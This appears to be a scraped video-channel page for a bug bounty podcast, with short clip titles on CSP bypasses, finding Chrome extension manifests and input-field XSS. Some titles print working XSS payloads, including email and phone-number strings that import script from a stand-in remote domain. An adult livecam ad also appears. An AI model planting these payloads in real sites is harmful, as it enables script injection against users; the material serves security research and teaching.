Critical Thinking - Bug Bounty Podcast's banner
Critical Thinking - Bug Bounty Podcast's profile picture

Critical Thinking - Bug Bounty Podcast

@ctbbpodcast • 26,021 subscribers

A 'by Hackers for Hackers' podcast focused on technical bug bounty content. Exploits, techniques, stories, bounties. Hosts: @rhynorater, @rez0__, @gr3pme

Videos

LIVE
1.2k

Anya Rossi

sweetdream.ai

SweetDream.aiSponsored•Livecam
Streaming Now

Watch Anya Live

Anya is streaming live right now! Join her private show and enjoy exclusive content.

HD live stream
Exclusive private shows
1.2k viewers online

Free preview available • Premium content

Double Auth Headers FTW
0:47
ctbbpodcast's profile picture

Double Auth Headers FTW

Critical Thinking - Bug Bounty Podcast

19,305 görüntüleme • 24 gün önce

How to find the manifest.json file of any Chrome extension: 1. Go to chrome://extensions 2. Turn on Developer mode 3. Copy the extension ID 4. Go to ~/Library/Application Support/Google/Chrome/Default/Extensions 5. Find the matching ID then find the manifest.json file!
0:32
ctbbpodcast's profile picture

How to find the manifest.json file of any Chrome extension: 1. Go to chrome://extensions 2. Turn on Developer mode 3. Copy the extension ID 4. Go to ~/Library/Application Support/Google/Chrome/Default/Extensions 5. Find the matching ID then find the manifest.json file!

Critical Thinking - Bug Bounty Podcast

26,088 görüntüleme • 1 yıl önce

Crazy CSP Bypass here by Paulos Yibelo! Utilizes JSONP endpoints where you can ONLY use [a-z.]+ as the callback and crafts a valid exploit. Masterful.
0:46
ctbbpodcast's profile picture

Crazy CSP Bypass here by Paulos Yibelo! Utilizes JSONP endpoints where you can ONLY use [a-z.]+ as the callback and crafts a valid exploit. Masterful.

Critical Thinking - Bug Bounty Podcast

28,058 görüntüleme • 2 yıl önce

Do NOT get baited, stay focused and HACK HARD
1:03
ctbbpodcast's profile picture

Do NOT get baited, stay focused and HACK HARD

Critical Thinking - Bug Bounty Podcast

14,349 görüntüleme • 11 ay önce

.­Mathias Karlsson blew our minds with his latest HTMX research including this tasty CSP bypass. <img src=x hx-on:htmx:load='alert(0)' /> Bypasses lack of unsafe-inline, but uses unsafe-eval.
0:59
ctbbpodcast's profile picture

.­Mathias Karlsson blew our minds with his latest HTMX research including this tasty CSP bypass. <img src=x hx-on:htmx:load='alert(0)' /> Bypasses lack of unsafe-inline, but uses unsafe-eval.

Critical Thinking - Bug Bounty Podcast

14,673 görüntüleme • 2 yıl önce

RFC-compliant payloads to try and put in your username or telephone number fields on your next target: Email: "><img/src/onerror=import('//domain/')>"Domain.com Mobile: 013371337;ext=<img/src/onerror=import('//domain/')>
0:32
ctbbpodcast's profile picture

RFC-compliant payloads to try and put in your username or telephone number fields on your next target: Email: "><img/src/onerror=import('//domain/')>"Domain.com Mobile: 013371337;ext=<img/src/onerror=import('//domain/')>

Critical Thinking - Bug Bounty Podcast

12,766 görüntüleme • 2 yıl önce

Daha fazla içerik yok.